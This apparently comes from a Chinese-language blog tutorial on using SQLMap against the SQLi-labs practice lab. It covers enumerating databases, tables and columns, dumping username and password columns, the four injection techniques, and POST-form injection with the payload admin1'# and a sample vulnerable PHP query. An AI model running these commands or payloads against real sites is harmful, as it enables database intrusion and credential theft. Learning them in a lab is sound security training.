SQLMap自动化注入工具

工具介绍

SQLMap特点

  • Python开源项目
  • 全球最强大的SQL注入工具
  • 支持多种数据库和注入类型
  • 推荐在Linux/Kali环境使用

基础用法

1. 获取数据库名

bash 复制代码
sqlmap -u "http://sqlilabs.njhack.xyz/Less-1/index.php?id=1" --dbs

参数说明

  • -u:目标URL
  • --dbs:枚举所有数据库

2. 获取表名

bash 复制代码
sqlmap -u "http://sqlilabs.njhack.xyz/Less-1/index.php?id=1" -D security --tables

参数说明

  • -D security:指定数据库名
  • --tables:枚举表名

3. 获取列名

bash 复制代码
sqlmap -u "http://sqlilabs.njhack.xyz/Less-1/index.php?id=1" -D security -T users --columns

参数说明

  • -T users:指定表名
  • --columns:枚举列名

4. 导出数据

bash 复制代码
sqlmap -u "http://sqlilabs.njhack.xyz/Less-1/index.php?id=1" -D security -T users -C username,password --dump

参数说明

  • -C username,password:指定列名
  • --dump:导出数据

高级参数

完整命令格式

bash 复制代码
sqlmap -u [目标URL] --dbs --batch --threads 10 --technique U

参数详解

  • --batch:自动选择默认选项,无需手动确认
  • --threads 10:使用10个线程(加快扫描速度)
  • --technique U:指定注入技术类型

注入技术类型(TECHNIQUE)

U - UNION查询注入

最常用、最快速的注入方式

bash 复制代码
sqlmap -u [URL] --current-db --batch --threads 10 --technique U

特点

  • 需要能显示数据
  • 速度最快
  • 结果最直观

E - 报错注入(Error-based)

适用场景:无法找到显示位,但数据库错误会显示

bash 复制代码
sqlmap -u [URL] --current-db --batch --threads 10 --technique E

原理

  • 通过构造特殊语句触发数据库报错
  • 在报错信息中包含查询结果
  • 对应靶场Less-5

B - 布尔盲注(Boolean-based)

适用场景:页面只有"有内容"和"无内容"两种状态

bash 复制代码
sqlmap -u [URL] --current-db --batch --threads 10 --technique B

原理

  • 通过构造条件判断语句
  • 根据页面是否显示内容判断真假
  • 逐位猜解数据
  • 对应靶场Less-8

T - 时间盲注(Time-based)

适用场景:页面无任何显示差异

bash 复制代码
sqlmap -u [URL] --current-db --batch --threads 10 --technique T -v 3

原理

  • 利用SLEEP()等函数延迟响应
  • 通过响应时间判断条件真假
  • 最慢但最隐蔽的方式
  • -v 3:显示详细调试信息

速度对比

复制代码
U (最快) > E > B > T (最慢)

POST型注入

漏洞识别

靶场环境:Less-11

测试步骤

  1. 在登录表单输入:admin1
  2. 点击Submit提交
  3. 使用Burp Suite抓包
  4. 在用户名后添加'\测试

判断注入点

复制代码
username: admin1'
password: admin1

如果报错,说明存在注入。

后端代码推测

php 复制代码
<?php
$uname = $_POST['uname'];
$passwd = $_POST['passwd'];

$sql = "SELECT username, password FROM users 
        WHERE username='$uname' AND password='$passwd' 
        LIMIT 0,1";
?>

POST注入注释符 :使用#(井号)

测试Payload

复制代码
username: admin1'#
password: 任意值

SQLMap POST注入

基本语法

bash 复制代码
sqlmap -u [目标URL] --data "uname=admin1*&passwd=admin1&submit=Submit" --current-db --batch --threads 10 --technique U

关键参数

  • --data:POST数据
  • *:标记注入点(告诉SQLMap测试这个参数)

实战命令示例

UNION注入

bash 复制代码
sqlmap -u "http://sqlilabs.njhack.xyz/Less-11/" \
--data "uname=admin1*&passwd=admin1&submit=Submit" \
--current-db --batch --threads 10 --technique U

报错注入

bash 复制代码
sqlmap -u "http://sqlilabs.njhack.xyz/Less-11/" \
--data "uname=admin*&passwd=admin&submit=Submit" \
--current-db --batch --threads 10 --technique E

数据获取流程

  1. 抓取POST数据包
  2. 复制POST数据体(最后一行)
  3. 用双引号包裹
  4. 在注入点位置添加*
  5. 执行SQLMap命令
相关推荐
XIAOHEZIcode1 天前
Linux系统鼠标偏移常见原因以及修复方案
linux·运维·游戏
用户0328472220702 天前
如何搭建本地yum源(上)
运维
大树885 天前
金刚石散热越强,管路越先见顶
大数据·运维·服务器·人工智能·ai
摇滚侠5 天前
Linux CentOS7 rpm 安装 MySQL 5.7
linux·运维·mysql
霸道流氓气质5 天前
领域驱动设计(DDD)在 Spring Boot 微服务中的实践指南
运维·spring boot·微服务
Inhand陈工5 天前
基于台达PLC与映翰通IG502的智慧水产养殖精准投喂与远程运维解决方案
运维·人工智能·物联网·阿里云·信息与通信
酣大智5 天前
ARP代理--工作原理
运维·网络·arp·arp代理
shushangyun_5 天前
2026年快消品B2B系统推荐:支持终端门店订货、促销政策自动化的工具?
java·运维·网络·数据库·人工智能·spring·自动化
施努卡机器视觉5 天前
SNK施努卡侧滑门锁上滑轮总成自动化装配线,从零件到组件,全流程精密制造方案
运维·自动化·制造
dayuOK63075 天前
写作卡壳怎么办?我的“5分钟启动法”
人工智能·职场和发展·自动化·新媒体运营·媒体